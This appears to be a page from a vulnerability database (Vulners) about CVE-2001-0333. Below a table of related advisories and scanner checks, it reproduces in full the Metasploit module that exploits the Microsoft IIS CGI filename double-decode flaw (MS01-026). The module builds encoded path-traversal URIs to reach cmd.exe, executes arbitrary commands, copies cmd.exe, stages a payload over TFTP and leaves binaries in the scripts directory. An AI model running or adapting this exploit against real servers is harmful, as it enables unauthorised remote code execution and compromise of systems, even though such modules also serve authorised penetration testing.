| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| CVE-2001-0333 | 8 Jan 201100:00 | – | circl | |
| CVE-2001-0333 | 18 Sep 200104:00 | – | cve | |
| CVE-2001-0333 | 18 Sep 200104:00 | – | cvelist | |
| Microsoft IIS/PWS - CGI Filename Double Decode Command Execution (MS01-026) (Metasploit) | 8 Jan 201100:00 | – | exploitdb | |
| MS01-026 / MS01-044: Microsoft IIS Remote Command Execution (uncredentialed check) | 15 May 200100:00 | – | nessus | |
| Immunity Canvas: IIS_DOUBLEDECODE | 27 Jun 200104:00 | – | canvas | |
| MS01-026 Microsoft IIS/PWS CGI Filename Double Decode Command Execution | 15 Jul 201115:33 | – | metasploit | |
| CVE-2001-0333 | 27 Jun 200104:00 | – | nvd | |
| IIS Remote Command Execution | 3 Nov 200500:00 | – | openvas | |
| Microsoft IIS Remote Command Execution (MS01-026/MS01-044) - Active Check | 3 Nov 200500:00 | – | openvas |
`##
# $Id: ms01_026_dbldecode.rb 9376 2010-05-26 22:46:10Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex/proto/tftp'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStagerTFTP
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft IIS/PWS CGI Filename Double Decode Command Execution',
'Description' => %q{
This module will execute an arbitrary payload on a Microsoft IIS installation
that is vulnerable to the CGI double-decode vulnerability of 2001.
NOTE: This module will leave a metasploit payload in the IIS scripts directory.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9376 $',
'References' =>
[
[ 'CVE', '2001-0333' ],
[ 'OSVDB', '556' ],
[ 'BID', '2708' ],
[ 'URL', 'http://marc.info/?l=bugtraq&m=98992056521300&w=2' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ]
],
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(80),
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
OptString.new('EXETEMPLATE', [ false, 'Use this EXE as a template for the command stager',
File.join(Msf::Config.install_root, "data", "templates", "template_nt4.exe") ]),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ])
], self.class)
end
def dotdotslash
possibilities = [
"..%255c",
"..%%35c",
"..%%35%63",
"..%25%35%63",
".%252e/",
"%252e./",
"%%32%65./",
".%%32%65/",
".%25%32%65/",
"%25%32%65./"
]
possibilities[rand(possibilities.length)]
end
def mini_http_request(opts, timeout=5)
connect
req = ''
req << opts['method']
req << ' '
req << opts['uri']
req << ' '
req << "HTTP/1.0\r\n"
req << "Host: #{datastore['RHOST']}\r\n"
req << "\r\n"
sock.put(req)
# This isn't exactly awesome, but it seems to work..
begin
headers = sock.get_once(-1, timeout)
body = sock.get_once(-1, timeout)
rescue ::EOFError
# nothing
end
if (datastore['DEBUG'])
print_status("Headers:\n" + headers.inspect)
print_status("Body:\n" + body.inspect)
end
disconnect
[headers, body]
end
def check
res = execute_command("dir")
if (res.kind_of?(Array))
body = res[1]
if (body and body =~ /Directory of /)
return Exploit::CheckCode::Vulnerable
end
end
Exploit::CheckCode::Safe
end
#
# NOTE: the command executes regardless of whether or not
# a valid response is returned...
#
def execute_command(cmd, opts = {})
uri = '/scripts/'
exe = opts[:cgifname]
if (not exe)
uri << dotdotslash
uri << dotdotslash
uri << 'winnt/system32/cmd.exe'
else
uri << exe
end
uri << '?/x+/c+'
uri << Rex::Text.uri_encode(cmd)
if (datastore['VERBOSE'])
print_status("Attemping to execute: #{uri}")
end
mini_http_request({
'uri' => uri,
'method' => 'GET',
}, 20)
end
def exploit
# first copy the file
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
# NOTE: this assumes %SystemRoot% on the same drive as the web scripst directory
res = execute_command("copy \\winnt\\system32\\cmd.exe #{exe_fname}")
if (datastore['CMD'])
res = execute_command(datastore['CMD'], { :cgifname => exe_fname })
else
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })
end
print_status("NOTE: The copied cmd.exe and payload binaries must be deleted manually")
# NOTE: We try to delete the copied exe here, although if the payload is running,
# we probably can't delete it due to it being in use...
execute_command("del #{exe_fname}")
handler
disconnect
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation